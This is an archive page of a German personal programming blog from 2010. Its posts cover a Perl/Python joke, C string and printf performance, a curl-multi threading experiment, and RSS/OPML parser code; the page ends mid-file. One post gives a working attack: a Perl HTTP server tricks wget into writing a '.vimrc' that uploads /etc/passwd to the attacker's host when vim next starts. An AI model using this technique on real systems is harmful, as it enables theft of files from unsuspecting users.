mailto, against spam!
Technologie / Wissenschaft · 11. September 2010 18:45 · 3 Kommentare
So, what's Python? (pronounced: peithoon) Here some attributes of Python:
fast no braces no indentation unreadable code unwritable code inpronouncable just snaky
I always thought, I have to play the computer like this person:
python - omg BUT that's not true . So, to install python, you just start cpan and install Acme::Python
As I mentioned before, python is unwritable, so we first write perl code to transfer that into python code; lets begin with an easy 'Hello-World' example:
Zeilennummern
1 use Acme:: Python ;
2
3 print 'hello world' ; Now we start that script via: perl example.pl At first startup it converts the perl code into python code in place in the example.pl file. So, our first python code:
Zeilennummern
1 use Acme:: Python;
2 Hisssssssssssssssss
3 hiss Hiss hiss Hiss hisssssssss Hissss hisss
4 Hiss hisss Hissss hiss Hiss hisss Hiss hiss
5 Hisss hisss Hissss hiss Hisss hissss Hiss
6 hiss Hissss hisssssss Hiss hisss Hissss hisss
7 Hiss hissssss Hiss hiss Hisss hiss Hiss hiss
8 Hiss hisss Hisss hissss Hisss hiss Hisss
9 hissss Hisss hiss Hisss hiss Hisssss hiss
10 Hisss hisssssss Hiss hisss Hissss hiss Hissss
11 hiss Hisssss hiss Hisss hisss Hiss hisss
12 Hissss hissss Hisss hiss Hisss hissss Hiss
13 hisss Hisss hiss Hissss hisss Hiss hisss
14 Hisss hiss Hissss hissss Hiss hiss Hiss hisssssTo start the program, just run perl example.pl once again:
hello world
Congratulations you just finished your first python program Next week, I'll show you how to create a cyborg-hybrid-army.
11. September 2010 18:46 Tags: perl · python
Computer · 07. September 2010 06:58 · 1 Kommentar
Gegeben ein String:
Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.
Aber es sollen nur die ersten 213 Zeichen ausgegeben werden:
Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
Intuitive Loesung: mit einer for-Schleife die ersten 213 Zeichen ausgeben Bessere Loesung: printf mit %.*s Format
Beispiel:
Zeilennummern
1 #include <stdio.h>
2
3 int main ()
4 {
5 int i, j;
6 char txt[] = "Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
7 sed diam nonumy eirmod tempor invidunt ut labore et dolore
8 magna aliquyam erat, sed diam voluptua. At vero eos et
9 accusam et justo duo dolores et ea rebum. Stet clita kasd
10 gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
11 amet." ;
12
13 #ifdef TEST1
14 for ( j = 0 ; j < 1000000 ; j++)
15 for ( i = 0 ; i < 213 ; i++)
16 printf ( "%c" , txt[ i]);
17 #endif
18
19 #ifdef TEST2
20 for ( j = 0 ; j < 1000000 ; j++)
21 printf ( "%.*s" , 213 , txt);
22 #endif
23 } Test1:
gcc -DTEST1 test.c && time ./a.out > /dev/null
real 0m2.850s user 0m2.804s sys 0m0.006s
Test2:
gcc -DTEST2 test.c && time ./a.out > /dev/null
real 0m0.220s user 0m0.210s sys 0m0.009s
07. September 2010 06:58 Tags: ansi c · format · printf · string
Sonstiges · 05. September 2010 23:16
Vorher :
Each sample counts as 0.01 seconds. % cumulative self self total time seconds seconds calls us/call us/call name 100.16 0.01 0.01 6268 1.60 1.60 __join_together
100,16% der Zeit verbringt das Programm mit __join_together
Zeilennummern
1 static char * __join_together ( char * a, char * b, int len_b)
2 {
3 int len = len_b+ 1 ;
4 int len_a = 0 ;
5 int i;
6 char * txt;
7
8 if ( a != NULL)
9 len_a = strlen ( a);
10
11 len += len_a;
12
13 txt = malloc ( sizeof ( char )* len);
14
15 for ( i = 0 ; i < len_a; i++)
16 txt[ i] = a[ i];
17
18 for ( i = 0 ; i < len_b; i++)
19 txt[ i+ len_a] = b[ i];
20
21 txt[ len- 1 ] = '\0' ;
22
23 if ( a != NULL)
24 free ( a);
25
26 return txt;
27 } Nacher:
% cumulative self self total time seconds seconds calls Ts/call Ts/call name 0.00 0.00 0.00 6598 0.00 0.00 __join_together
0% der Zeit wird fuer __join_together benoetigt (naja, gerundet ...)
Zeilennummern
1 static char * __join_together ( char * a, char * b, int len_b)
2 {
3 int len_a = 0 ;
4 int i;
5 char * new ;
6
7 if ( a != NULL)
8 len_a += strlen ( a);
9
10 new = realloc ( a, len_b+ 1 + len_a);
11
12 if ( new != NULL)
13 for ( i = 0 ; i < len_b; i++)
14 new [ i+ len_a] = b[ i];
15
16
17 new [ len_a+ len_b] = '\0' ;
18
19 return new ;
20 }
05. September 2010 23:16 Tags: ansi c · char* · concat · join · string · together
Computer · 04. September 2010 19:29 · 2 Kommentare
Wget kann Dateien erstellen. Idee: Wir lassen wget eine .vimrc erstellen, die bei dem naechsten vim-Start die Datei /etc/passwd uploadet: (eigentlich alles total trivial)
Zeilennummern
1 use HTTP:: Daemon ;
2 use HTTP:: Status ;
3 my $d = new HTTP:: Daemon ( LocalPort => 8080 , ReuseAddr => 1 );
4 print "Please contact me at: <URL:" , $d -> url, "> \n " ;
5 print "Run: wget " , $d -> url, "foobar \n " ;
6 while ( my $c = $d -> accept) {
7 while ( my $r = $c -> get_request) {
8 if ( $r -> method eq 'GET' and $r -> url-> path eq "/foobar" ) {
9 $c -> send_redirect ( ".vimrc" );
10 }
11 if ( $r -> method eq 'GET' and $r -> url-> path eq "/.vimrc" ) {
12 $c -> send_file_response ( "evil" );
13 }
14 if ( $r -> method eq 'POST' and $r -> url-> path eq "/passwd" ) {
15 print "POST-REQ \n " ;
16 print $r -> content ;
17 $c -> send_error ();
18 }
19 }
20 $c -> close ;
21 undef ( $c );
22 } Dazu wird noch eine Datei 'evil' benoetigt:
! wget –post-file=/etc/passwd http://localhost:8080/passwd > /dev/null 2>/dev/null
Nun einfach in $HOME ausfuehren:
wget http://erebos:8080/foobar vim
22. Januar 2012 06:12 Tags: http · httpd · http server · perl · redirect · server
Sonstiges · 30. August 2010 21:06
30. August 2010 21:06 Tags: mobil
Umfrage · 18. August 2010 01:05 · 2 Kommentare
Ja, ich hab zu viel IPv4 Adressen ;) Aus welchem Land soll ich mir noch 2 IPs oder aus welchen 2 unterschiedlichen Laendern soll ich mir noch IPs holen?
Aus welchem Land soll ich mir noch 2 IPs holen? Diese Umfrage wurde am 25. Aug 2010 um 01:00 beendet.
Belgien
Tschechische Republik
Finnland
Irland
Litauen
England
Spanien
Italien
Niederlande
Polen
Portugal
18. August 2010 01:05 Computer · 10. August 2010 18:50
Wird eine URL angefordert wird ein Worker-Thread mit curl-multi gestartet. Ist curl fertig wird der Thread wieder beendet. Eigentlich total sinnlos, aber das habe ich erst bemerkt als es fast fertig war. Daher noch eine Warnung:Die Benutzung fuehrt zu unendlichem SNAFU
Zeilennummern
1 #include <stdio.h>
2 #include <pthread.h>
3 #include <unistd.h>
4 #include <curl/curl.h>
5
6 static pthread_t __worker = 0 ;
7 static CURL * __curl_hnd;
8 static pthread_mutex_t __worker_mutex; // lock this when exiting while(handl
9 es)
10
11
12 static __attribute__ (( constructor)) void __cos_mutex ()
13 {
14 pthread_mutex_init (& __worker_mutex, NULL);
15 printf ( "Created mutex \n " );
16 }
17
18 static __attribute__ (( destructor)) void __dcos_mutex ()
19 {
20 pthread_mutex_destroy (& __worker_mutex);
21 printf ( "Destroyed mutex \n " );
22 }
23
24 static void * __fetcher_worker ( void * p)
25 {
26 int msgs_in_queue, handles = 1 ;
27 char * curlinfo_private;
28 void (* feed_function)( void *, void *);
29 CURLMsg * cmsg;
30
31 printf ( "Started worker thread \n " );
32
33
34 while ( 1 )
35 {
36 while (( cmsg = curl_multi_info_read ( __curl_hnd, & msgs_in_queue)) !=
37 NULL)
38 if ( cmsg-> msg == CURLMSG_DONE)
39 {
40 curl_easy_getinfo ( cmsg-> easy_handle, CURLINFO_PRIVATE,
41 & curlinfo_private);
42 feed_function = ( void *) curlinfo_private;
43 feed_function ( NULL, NULL);
44 curl_easy_cleanup ( cmsg-> easy_handle);
45 }
46
47 pthread_mutex_lock (& __worker_mutex);
48 if ( handles == 0 )
49 {
50 curl_multi_cleanup ( __curl_hnd);
51 __worker = 0 ;
52 __curl_hnd = NULL;
53 pthread_mutex_unlock (& __worker_mutex);
54 break ;
55 }
56 pthread_mutex_unlock (& __worker_mutex);
57
58 curl_multi_perform ( __curl_hnd, & handles);
59 }
60
61 printf ( "Stopped worker thread \n " );
62
63 return NULL;
64 }
65
66 static void __fetcher_worker_start ()
67 {
68 __worker = 1 ;
69
70 __curl_hnd = curl_multi_init ();
71
72 pthread_create (& __worker, NULL, __fetcher_worker, NULL);
73
74 //pthread_join(__worker, NULL);
75 pthread_detach ( __worker);
76 }
77
78 void fetcher_add_url ( char * url, void * function, void * userdata)
79 {
80 CURL * hnd;
81
82 hnd = curl_easy_init ();
83
84 curl_easy_setopt ( hnd, CURLOPT_INFILESIZE_LARGE, ( curl_off_t)- 1 );
85 curl_easy_setopt ( hnd, CURLOPT_URL, url);
86 curl_easy_setopt ( hnd, CURLOPT_NOPROGRESS, 1 );
87 curl_easy_setopt ( hnd, CURLOPT_FAILONERROR, 0 );
88 curl_easy_setopt ( hnd, CURLOPT_USERAGENT, "" );
89 curl_easy_setopt ( hnd, CURLOPT_RESUME_FROM_LARGE, ( curl_off_t) 0 );
90 curl_easy_setopt ( hnd, CURLOPT_MAXREDIRS, 50 );
91 curl_easy_setopt ( hnd, CURLOPT_SSLVERSION, 0 );
92 curl_easy_setopt ( hnd, CURLOPT_TIMECONDITION, 0 );
93 curl_easy_setopt ( hnd, CURLOPT_TIMEVALUE, 0 );
94 curl_easy_setopt ( hnd, CURLOPT_CUSTOMREQUEST, NULL);
95 curl_easy_setopt ( hnd, CURLOPT_CONNECTTIMEOUT, 0 );
96 curl_easy_setopt ( hnd, CURLOPT_HTTPAUTH, 1 );
97 curl_easy_setopt ( hnd, CURLOPT_ENCODING, NULL);
98 curl_easy_setopt ( hnd, CURLOPT_IPRESOLVE, 0 );
99 curl_easy_setopt ( hnd, CURLOPT_IGNORE_CONTENT_LENGTH, 0 );
100 curl_easy_setopt ( hnd, CURLOPT_POSTREDIR, 0 );
101 curl_easy_setopt ( hnd, CURLOPT_WRITEFUNCTION, function);
102 curl_easy_setopt ( hnd, CURLOPT_PRIVATE, function);
103 curl_easy_setopt ( hnd, CURLOPT_WRITEDATA, userdata);
104
105 pthread_mutex_lock (& __worker_mutex);
106 if ( __curl_hnd == NULL)
107 __fetcher_worker_start ();
108 curl_multi_add_handle ( __curl_hnd, hnd);
109 pthread_mutex_unlock (& __worker_mutex);
110
111 }
112
113 size_t show ( char * txt, size_t size, size_t nmemb, char * userdata)
114 {
115 int i;
116
117 if ( txt != NULL)
118 {
119 printf ( " \n --------------> userdata: %s \n " , userdata);
120 for ( i = 0 ; i < nmemb* size; i++)
121 printf ( "%c" , txt[ i]);
122 }
123 else
124 printf ( " \n -------------------------------------------------------- \n " );
125
126 fflush ( stdout);
127
128 return nmemb* size;
129
130 }
131
132 int main ()
133 {
134 fetcher_add_url ( "http://www.google.de" , show, "google" );
135 fetcher_add_url ( "http://www.heise.de" , show, "heise" );
136 sleep ( 3 );
137 fetcher_add_url ( "http://www.google.de/news" , show, "google-news" );
138
139 sleep ( 7 );
140 return 0 ;
141 }
10. August 2010 18:50 Tags: ansi c · curl · multi · mutex · pthread
Computer · 05. August 2010 20:38
Der Code erklaert sich von selbst ;)
feed.h:
Zeilennummern
1 struct feed_entry
2 {
3 char * title;
4 char * link;
5 char * published;
6 char * updated;
7 char * id;
8 char * author;
9 char * author_name;
10 char * author_email;
11 char * summary;
12 };
13
14 struct feed_handler
15 {
16 char * url;
17 void * feed_function;
18 void * userdata;
19 struct feed_handler * next;
20 };
21
22 extern void feed_single_parse ( char * url, void * feed_function, void
23 * userdata);
24 extern void feed_free_entry ( struct feed_entry * fe);
25 extern struct feed_handler * feed_add ( struct feed_handler * fh, char * url,
26 void * feed_function, void * userdata);
27 extern void feed_multi_parse ( struct feed_handler * fh);
28 extern void feed_cleanup ( struct feed_handler * fh); feed.c:
Zeilennummern
1 #include <stdio.h>
2 #include <string.h>
3 #include <strings.h>
4 #include <curl/curl.h>
5 #include <libxml/parser.h>
6 #include <libxml/xmlerror.h>
7
8 #include "feed.h"
9
10
11 enum _feed_progress
12 {
13 NONE,
14 FEED_AUTHOR,
15 FEED_TITLE,
16 FEED_ID,
17 FEED_UPDATED,
18 ENTRY_BEGIN,
19 ENTRY,
20 TITLE,
21 LINK,
22 PUBLISHED,
23 UPDATED,
24 ID,
25 AUTHOR_BEGIN,
26 AUTHOR,
27 AUTHOR_NAME,
28 AUTHOR_EMAIL,
29 AUTHOR_END,
30 SUMMARY,
31 ENTRY_END
32 };
33
34 struct _feed_userdata
35 {
36 enum _feed_progress feed_entry_progress;
37 struct feed_entry * feed_entry;
38 void (* feed_function)( void *, void *);
39 void * userdata;
40 };
41
42 struct _multi_handler
43 {
44 xmlParserCtxtPtr ctxt;
45 CURL * hnd;
46 struct _feed_userdata * fu;
47 struct _multi_handler * next;
48 };
49
50
51 static char * __join_together ( char * a, char * b, int len_b)
52 {
53 int len = len_b+ 1 ;
54 int len_a = 0 ;
55 int i;
56 char * txt;
57
58 if ( a != NULL)
59 len_a = strlen ( a);
60
61 len += len_a;
62
63 txt = malloc ( sizeof ( char )* len);
64
65 for ( i = 0 ; i < len_a; i++)
66 txt[ i] = a[ i];
67
68 for ( i = 0 ; i < len_b; i++)
69 txt[ i+ len_a] = b[ i];
70
71 txt[ len- 1 ] = '\0' ;
72
73 if ( a != NULL)
74 free ( a);
75
76 return txt;
77 }
78
79
80 char * __extract_attribute ( int nb_attributes, const xmlChar ** attributes,
81 char * attribute, char * a)
82 {
83 for ( int i = 0 ; i < nb_attributes; i++)
84 if (! strcmp (( char *) attributes[ i* 5 ], attribute))
85 return __join_together ( a, ( char *) attributes[( i* 5 )+ 3 ], attributes[( i* 5 )
86 + 4 ] - attributes[( i* 5 )+ 3 ]);
87
88 return NULL;
89 }
90 size_t _chunk_parse ( void * ptr, size_t size, size_t nmemb, xmlParserCtxtPtr
91 ctxt)
92 {
93 char * txt = ptr;
94
95 xmlParseChunk ( ctxt, txt, size* nmemb, 0 );
96
97 return nmemb* size;
98 }
99
100
101 void _set_chnd ( CURL * hnd, char * url, void * cbfunction, void * userdata)
102 {
103 curl_easy_setopt ( hnd, CURLOPT_INFILESIZE_LARGE, ( curl_off_t)- 1 );
104 curl_easy_setopt ( hnd, CURLOPT_URL, url);
105 curl_easy_setopt ( hnd, CURLOPT_NOPROGRESS, 1 );
106 curl_easy_setopt ( hnd, CURLOPT_FAILONERROR, 0 );
107 curl_easy_setopt ( hnd, CURLOPT_USERAGENT, "libmessage" );
108 curl_easy_setopt ( hnd, CURLOPT_RESUME_FROM_LARGE, ( curl_off_t) 0 );
109 curl_easy_setopt ( hnd, CURLOPT_MAXREDIRS, 50 );
110 curl_easy_setopt ( hnd, CURLOPT_SSLVERSION, 0 );
111 curl_easy_setopt ( hnd, CURLOPT_TIMECONDITION, 0 );
112 curl_easy_setopt ( hnd, CURLOPT_TIMEVALUE, 0 );
113 curl_easy_setopt ( hnd, CURLOPT_CUSTOMREQUEST, NULL);
114 curl_easy_setopt ( hnd, CURLOPT_CONNECTTIMEOUT, 0 );
115 curl_easy_setopt ( hnd, CURLOPT_HTTPAUTH, 1 );
116 curl_easy_setopt ( hnd, CURLOPT_ENCODING, NULL);
117 curl_easy_setopt ( hnd, CURLOPT_IPRESOLVE, 0 );
118 curl_easy_setopt ( hnd, CURLOPT_IGNORE_CONTENT_LENGTH, 0 );
119 curl_easy_setopt ( hnd, CURLOPT_POSTREDIR, 0 );
120 curl_easy_setopt ( hnd, CURLOPT_WRITEFUNCTION, cbfunction);
121 curl_easy_setopt ( hnd, CURLOPT_WRITEDATA, userdata);
122
123 }
124
125 int _get_feed ( char * url, void * cbfunction, void * userdata)
126 {
127 CURLcode ret;
128
129 curl_global_init ( CURL_GLOBAL_ALL);
130
131 CURL * hnd = curl_easy_init ();
132
133 _set_chnd ( hnd, url, cbfunction, userdata);
134
135 ret = curl_easy_perform ( hnd);
136 curl_easy_cleanup ( hnd);
137
138 curl_global_cleanup ();
139 return ( int ) ret;
140
141 }
142
143 void _feed_charactersSAX ( void * userdata, const xmlChar * characters, int len)
144 {
145 char * ch = ( char *) characters;
146 struct _feed_userdata * fu = userdata;
147
148 #ifdef STRICT
149 if ( fu-> feed_entry_progress != NONE && fu-> feed_entry == NULL)
150 {
151 exit ( 1 );
152 }
153 #endif
154 /*
155 for (int i = 0; i < len; i++)
156 printf("%c", ch[i]);
157 printf("\n");
158 */
159 if ( fu-> feed_entry_progress == TITLE)
160 fu-> feed_entry-> title = __join_together ( fu-> feed_entry-> title, ch, len);
161 else if ( fu-> feed_entry_progress == PUBLISHED)
162 fu-> feed_entry-> published = __join_together ( fu-> feed_entry-> published,
163 ch, len);
164 else if ( fu-> feed_entry_progress == UPDATED)
165 fu-> feed_entry-> updated = __join_together ( fu-> feed_entry-> updated, ch,
166 len);
167 else if ( fu-> feed_entry_progress == ID)
168 fu-> feed_entry-> id = __join_together ( fu-> feed_entry-> id, ch, len);
169 else if ( fu-> feed_entry_progress == SUMMARY)
170 fu-> feed_entry-> summary = __join_together ( fu-> feed_entry-> summary, ch,
171 len);
172 else if ( fu-> feed_entry_progress == LINK)
173 fu-> feed_entry-> link = __join_together ( fu-> feed_entry-> link, ch, len);
174
175 else if ( fu-> feed_entry_progress == AUTHOR)
176 fu-> feed_entry-> author = __join_together ( fu-> feed_entry-> author, ch,
177 len);
178 else if ( fu-> feed_entry_progress == AUTHOR_NAME)
179 fu-> feed_entry-> author_name = __join_together ( fu-> feed_entry->
180 author_name, ch, len);
181 else if ( fu-> feed_entry_progress == AUTHOR_EMAIL)
182 fu-> feed_entry-> author_email= __join_together ( fu-> feed_entry->
183 author_email, ch, len);
184
185 }
186
187 void _feed_startElementSAX ( void * userdata, const xmlChar * characters,
188 const xmlChar * prefix,
189 const xmlChar * URI,
190 int nb_namespaces,
191 const xmlChar ** namespaces,
192 int nb_attributes,
193 int nb_defaulted,
194 const xmlChar ** attributes )
195 {
196 char * ch = ( char *) characters;
197 struct _feed_userdata * fu = userdata;
198
199 //printf("-------------<%s>---------------\n", ch);
200
201 if (! strncasecmp ( ch, "entry" , 6 ) || ! strncasecmp ( ch, "item" , 5 ))
202 {
203 //printf("entry opened\n");
204 fu-> feed_entry = malloc ( sizeof ( struct feed_entry));
205 memset ( fu-> feed_entry, 0 , sizeof ( struct feed_entry));
206 fu-> feed_entry_progress = ENTRY;
207 }
208
209 if ( fu-> feed_entry_progress < ENTRY_END && fu-> feed_entry_progress >
210 ENTRY_BEGIN)
211 {
212 if (! strncasecmp ( ch, "title" , 6 ))
213 fu-> feed_entry_progress = TITLE;
214 else if (! strncasecmp ( ch, "link" , 5 ))
215 {
216 fu-> feed_entry_progress = LINK;
217 fu-> feed_entry-> link = __extract_attribute ( nb_attributes,
218 attributes, "href" , fu-> feed_entry-> link);
219 }
220 else if (! strncasecmp ( ch, "published" , 10 ))
221 fu-> feed_entry_progress = PUBLISHED;
222 else if (! strncasecmp ( ch, "updated" , 8 ))
223 fu-> feed_entry_progress = UPDATED;
224 else if (! strncasecmp ( ch, "id" , 3 ))
225 fu-> feed_entry_progress = ID;
226 else if (! strncasecmp ( ch, "author" , 7 ))
227 fu-> feed_entry_progress = AUTHOR;
228 else if (! strncasecmp ( ch, "summary" , 8 ) || ! strncasecmp ( ch,
229 "description" , 12 ))
230 fu-> feed_entry_progress = SUMMARY;
231
232 if ( fu-> feed_entry_progress < AUTHOR_END && fu-> feed_entry_progress >
233 AUTHOR_BEGIN)
234 {
235 if (! strncasecmp ( ch, "name" , 5 ))
236 {
237 fu-> feed_entry_progress = AUTHOR_NAME;
238 if ( fu-> feed_entry-> author != NULL)
239 {
240 free ( fu-> feed_entry-> author);
241 fu-> feed_entry-> author = NULL;
242 }
243
244 }
245 if (! strncasecmp ( ch, "email" , 6 ))
246 {
247 fu-> feed_entry_progress = AUTHOR_EMAIL;
248 if ( fu-> feed_entry-> author != NULL)
249 {
250 free ( fu-> feed_entry-> author);
251 fu-> feed_entry-> author = NULL;
252 }
253 }
254 }
255 }
256
257 }
258 void _feed_endElementSAX ( void * userdata, const xmlChar * characters,
259 const xmlChar * prefix,
260 const xmlChar * URI )
261 {
262 char * ch = ( char *) characters;
263 struct _feed_userdata * fu = userdata;
264
265
266 if ( fu-> feed_entry_progress < ENTRY_END && fu-> feed_entry_progress >
267 ENTRY_BEGIN)
268 {
269 if (! strncasecmp ( ch, "entry" , 6 ) || ! strncasecmp ( ch, "item" , 5 ))
270 {
271 fu-> feed_function ( fu-> feed_entry, fu-> userdata);
272 fu-> feed_entry_progress = ENTRY_END;
273 }
274 else if (! strncasecmp ( ch, "author" , 7 ))
275 fu-> feed_entry_progress = AUTHOR_END;
276 else
277 fu-> feed_entry_progress = ENTRY;
278
279 }
280 if ( fu-> feed_entry_progress < AUTHOR_END && fu-> feed_entry_progress >
281 AUTHOR_BEGIN)
282 fu-> feed_entry_progress = AUTHOR_BEGIN;
283 }
284
285
286 void feed_single_parse ( char * url, void * feed_function, void * userdata)
287 {
288 struct _feed_userdata fu;
289 xmlParserCtxtPtr ctxt;
290 xmlSAXHandler xsh;
291 memset (& xsh, 0 , sizeof ( xmlSAXHandler));
292
293 fu. feed_entry_progress = NONE;
294 fu. feed_entry = NULL;
295 fu. feed_function = feed_function;
296 fu. userdata = userdata;
297
298 xsh. initialized = XML_SAX2_MAGIC;
299 xsh. characters = _feed_charactersSAX;
300 xsh. startElementNs = _feed_startElementSAX;
301 xsh. endElementNs = _feed_endElementSAX;
302
303 ctxt = xmlCreatePushParserCtxt (& xsh, & fu, NULL, 0 , NULL);
304
305 _get_feed ( url, _chunk_parse, ctxt);
306
307 xmlParseChunk ( ctxt, "" , 0 , 1 );
308
309 xmlFreeParserCtxt ( ctxt);
310
311 if ( fu. feed_entry_progress != ENTRY_END && fu. feed_entry != NULL)
312 fu. feed_function ( fu. feed_entry, fu. userdata);
313 }
314
315 extern struct feed_handler * feed_add ( struct feed_handler * fh, char * url,
316 void * feed_function, void * userdata)
317 {
318 struct feed_handler * fhn = malloc ( sizeof ( struct feed_handler));
319
320 fhn-> url = url;
321 fhn-> feed_function = feed_function;
322 fhn-> userdata = userdata;
323 fhn-> next = NULL;
324
325 if ( fh == NULL)
326 return fhn;
327
328 while ( fh-> next != NULL)
329 fh = fh-> next;
330 fh-> next = fhn;
331
332 return NULL;
333 }
334
335 extern void feed_cleanup ( struct feed_handler * fh)
336 {
337 struct feed_handler * fhn;
338
339 while ( fh-> next)
340 {
341 fhn = fh-> next;
342 free ( fh);
343 fh = fhn;
344
345 }
346
347 free ( fh);
348 }
349
350 extern void feed_multi_parse ( struct feed_handler * fh)
351 {
352 struct _multi_handler * mh_tmp, * mh;
353 xmlSAXHandler xsh;
354 int handles = 1 ;
355
356
357 CURL * mhnd = curl_multi_init ();
358
359
360 memset (& xsh, 0 , sizeof ( xmlSAXHandler));
361 xsh. initialized = XML_SAX2_MAGIC;
362 xsh. characters = _feed_charactersSAX;
363 xsh. startElementNs = _feed_startElementSAX;
364 xsh. endElementNs = _feed_endElementSAX;
365
366 mh = malloc ( sizeof ( struct _multi_handler));
367 mh_tmp = mh;
368
369 // wenn kaputt, dann mh und fh vereinen
370
371 while ( fh != NULL)
372 {
373 mh-> next = NULL;
374
375 mh-> fu = malloc ( sizeof ( struct _feed_userdata));
376 mh-> fu-> feed_entry_progress = NONE;
377 mh-> fu-> feed_entry = NULL;
378 mh-> fu-> feed_function = fh-> feed_function;
379 mh-> fu-> userdata = fh-> userdata;
380
381 mh-> ctxt = xmlCreatePushParserCtxt (& xsh, mh-> fu, NULL, 0 , NULL);
382
383 mh-> hnd = curl_easy_init ();
384 _set_chnd ( mh-> hnd, fh-> url, _chunk_parse, mh-> ctxt);
385
386 curl_multi_add_handle ( mhnd, mh-> hnd);
387
388 fh = fh-> next;
389 if ( mh-> next == NULL && fh != NULL) // keine Chance den memleaks
390 mh-> next = malloc ( sizeof ( struct _multi_handler));
391 mh = mh-> next;
392 }
393
394
395 // now, do curl
396 while ( handles != 0 )
397 curl_multi_perform ( mhnd, & handles);
398
399
400 // now clean up
401 mh = mh_tmp;
402
403 while ( mh != NULL)
404 {
405 xmlParseChunk ( mh-> ctxt, "" , 0 , 1 );
406 xmlFreeParserCtxt ( mh-> ctxt);
407 if ( mh-> fu-> feed_entry_progress != ENTRY_END && mh-> fu-> feed_entry !=
408 NULL)
409 mh-> fu-> feed_function ( mh-> fu-> feed_entry, mh-> fu-> userdata);
410
411 free ( mh-> fu);
412
413 curl_easy_cleanup ( mh-> hnd);
414
415 mh_tmp = mh;
416 mh = mh-> next;
417 free ( mh_tmp);
418 }
419
420 curl_multi_cleanup ( mhnd);
421
422 }
423
424 static inline void _feed_free_ifyoucan ( void * p)
425 {
426 if ( p != NULL)
427 free ( p);
428 }
429
430 extern void feed_free_entry ( struct feed_entry * fe)
431 {
432 //printf("title\n");
433 _feed_free_ifyoucan ( fe-> title);
434 //printf("link\n");
435 _feed_free_ifyoucan ( fe-> link);
436 //printf("published\n");
437 _feed_free_ifyoucan ( fe-> published);
438 //printf("updated\n");
439 _feed_free_ifyoucan ( fe-> updated);
440 //printf("id\n");
441 _feed_free_ifyoucan ( fe-> id);
442 //printf("author\n");
443 _feed_free_ifyoucan ( fe-> author);
444 //printf("author_name\n");
445 _feed_free_ifyoucan ( fe-> author_name);
446 //printf("author_email\n");
447 _feed_free_ifyoucan ( fe-> author_email);
448 //printf("summary\n");
449 _feed_free_ifyoucan ( fe-> summary);
450
451 _feed_free_ifyoucan ( fe);
452 } opml.h:
Zeilennummern
1 #include <libxml/parser.h>
2
3 struct _opml_userdata
4 {
5 void (* opml_function)( void *, void *);
6 void * userdata;
7 };
8
9
10 struct opml_handler
11 {
12 xmlParserCtxtPtr ctxt;
13 struct _opml_userdata * ou;
14 };
15
16 struct opml_outline
17 {
18 char * title;
19 char * text;
20 char * feedurl;
21 char * siteurl;
22 };
23
24 extern struct opml_handler* opml_create ( void * opml_function, void * userdata)
25 ;
26 extern void opml_feed ( struct opml_handler * oh, char * txt, int len);
27 extern void opml_destroy ( struct opml_handler * oh);
28 extern void opml_outline_destroy ( struct opml_outline * ou); opml.c:
Zeilennummern
1 #include <stdio.h>
2 #include <string.h>
3 #include <strings.h>
4 #include <libxml/parser.h>
5 #include <libxml/xmlerror.h>
6 #include "opml.h"
7
8
9 static char * __join_together ( char * a, char * b, int len_b)
10 {
11 int len = len_b+ 1 ;
12 int len_a = 0 ;
13 int i;
14 char * txt;
15
16 if ( a != NULL)
17 len_a = strlen ( a);
18
19 len += len_a;
20
21 txt = malloc ( sizeof ( char )* len);
22
23 for ( i = 0 ; i < len_a; i++)
24 txt[ i] = a[ i];
25
26 for ( i = 0 ; i < len_b; i++)
27 txt[ i+ len_a] = b[ i];
28
29 txt[ len- 1 ] = '\0' ;
30
31 if ( a != NULL)
32 free ( a);
33
34 return txt;
35 }
36
37 void _opml_startElementSAX ( void * userdata, const xmlChar * characters,
38 const xmlChar * prefix,
39 const xmlChar * URI,
40 int nb_namespaces,
41 const xmlChar ** namespaces,
42 int nb_attributes,
43 int nb_defaulted,
44 const xmlChar ** attributes )
45 {
46 int i;
47 struct opml_outline * oo = malloc ( sizeof ( struct opml_outline));
48 struct _opml_userdata * ou = userdata;
49 memset ( oo, 0 , sizeof ( struct opml_outline));
50
51 for ( i = 0 ; i < nb_attributes; i++)
52 {
53 if (! strncasecmp (( char *) attributes[ i* 5 ], "title" , 6 ))
54 oo-> title = __join_together ( oo-> title, ( char *) attributes[( i* 5 )+ 3 ],
55 attributes[( i* 5 )+ 4 ] - attributes[( i* 5 )+ 3 ]);
56 else if (! strncasecmp (( char *) attributes[ i* 5 ], "text" , 5 ))
57 oo-> text = __join_together ( oo-> text, ( char *) attributes[( i* 5 )+ 3 ],
58 attributes[( i* 5 )+ 4 ] - attributes[( i* 5 )+ 3 ]);
59 else if (! strncasecmp (( char *) attributes[ i* 5 ], "xmlUrl" , 7 ))
60 oo-> feedurl = __join_together ( oo-> feedurl, ( char *) attributes[( i* 5 )+
61 3 ], attributes[( i* 5 )+ 4 ] - attributes[( i* 5 )+ 3 ]);
62 else if (! strncasecmp (( char *) attributes[ i* 5 ], "htmlUrl" , 7 ))
63 oo-> siteurl = __join_together ( oo-> siteurl, ( char *) attributes[( i* 5 )+
64 3 ], attributes[( i* 5 )+ 4 ] - attributes[( i* 5 )+ 3 ]);
65
66 }
67
68 ou-> opml_function ( oo, ou-> userdata);
69
70 }
71
72 void _opml_endElementSAX ( void * userdata, const xmlChar * characters,
73 const xmlChar * prefix,
74 const xmlChar * URI )
75 {
76 }
77
78 void _opml_charactersSAX ( void * userdata, const xmlChar * characters, int len)
79 {
80 }
81
82 extern void opml_outline_destroy ( struct opml_outline * oo)
83 {
84 if ( oo == NULL)
85 return ;
86
87 if ( oo-> title != NULL)
88 free ( oo-> title);
89 if ( oo-> text != NULL)
90 free ( oo-> text);
91 if ( oo-> feedurl != NULL)
92 free ( oo-> feedurl);
93 if ( oo-> siteurl != NULL)
94 free ( oo-> siteurl);
95
96 free ( oo);
97 }
98
99
100 extern struct opml_handler* opml_create ( void * opml_function, void * userdata)
101 {
102 struct opml_handler * oh = malloc ( sizeof ( struct opml_handler));
103
104 xmlSAXHandler xsh;
105 memset (& xsh, 0 , sizeof ( xmlSAXHandler));
106
107 struct _opml_userdata * ou = malloc ( sizeof ( struct _opml_userdata));
